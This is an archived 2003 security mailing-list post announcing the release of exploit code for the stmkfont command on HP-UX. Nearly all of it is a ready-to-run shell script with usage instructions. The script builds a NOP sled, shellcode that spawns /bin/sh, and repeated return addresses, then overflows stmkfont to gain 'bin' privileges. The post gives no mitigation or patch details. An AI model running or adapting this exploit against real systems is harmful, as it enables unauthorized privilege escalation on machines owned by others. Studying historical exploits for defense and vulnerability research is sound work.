[EXPL] STMKFont Exploit Code Released

From: support@securiteam.com
Date: 03/10/03

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    From: support@securiteam.com
To: list@securiteam.com
Date: 10 Mar 2003 13:39:49 +0200

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      STMKFont Exploit Code Released
    ------------------------------------------------------------------------

    SUMMARY

    The following exploit code will cause the stmkfont (under HPUX) to
    overflow and execute arbitrary code, thus yielding 'bin' uid.

    DETAILS

    Exploit:
    #!/bin/sh
    # File : ex_stmkfont.sh
    # Exploit for command stmkfont of HPUX to get bin gid BUFF.
    # * Usage: chmod +x ex_stmkfont.sh ; ./ex_stmkfont.sh
    # Write by watercloud@xfocus.org 2003-2-20
    # Site : www.xfocus.org www.xfocus.net
    NOP_LEN=65
    ADDR_LEN=5000
    BUFF="";i=0
    while [ $i -ne $NOP_LEN ] ; do
      BUFF=$BUFF'\0013\0071\0002\0231' ; i=$(($i+1))
    done
    BUFF=$BUFF'\0013\0071\0002\0127\0052\0344\0227\0020\0050\0073\0160\0357\0010\0067\0002\0103'
    BUFF=$BUFF'\0266\0372\0100\0004\0266\0371\0100\0004\0266\0370\0100\0004\0344\0140\0340\0010'
    BUFF=$BUFF'\0266\0366\0100\0376\0013\0071\0002\0231\0053\0044\0227\0020\0050\0073\0160\0357'
    BUFF=$BUFF'\0353\0137\0037\0375\0013\0071\0002\0231\0267\0132\0100\0042\0017\0100\0022\0016'
    BUFF=$BUFF'\0010\0071\0002\0103\0344\0140\0340\0010\0264\0026\0160\0026/bin/shX'
    i=0;
    while [ $i -ne $ADDR_LEN ] ; do
      BUFF=$BUFF'\0177\0177\0001\0020'; i=$(($i+1))
    done
    STR=`/bin/echo "${BUFF}"`

    /usr/bin/stmkfont -d1 x -d2 $STR x
    #EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:watercloud@xfocus.org>
    watercloud.

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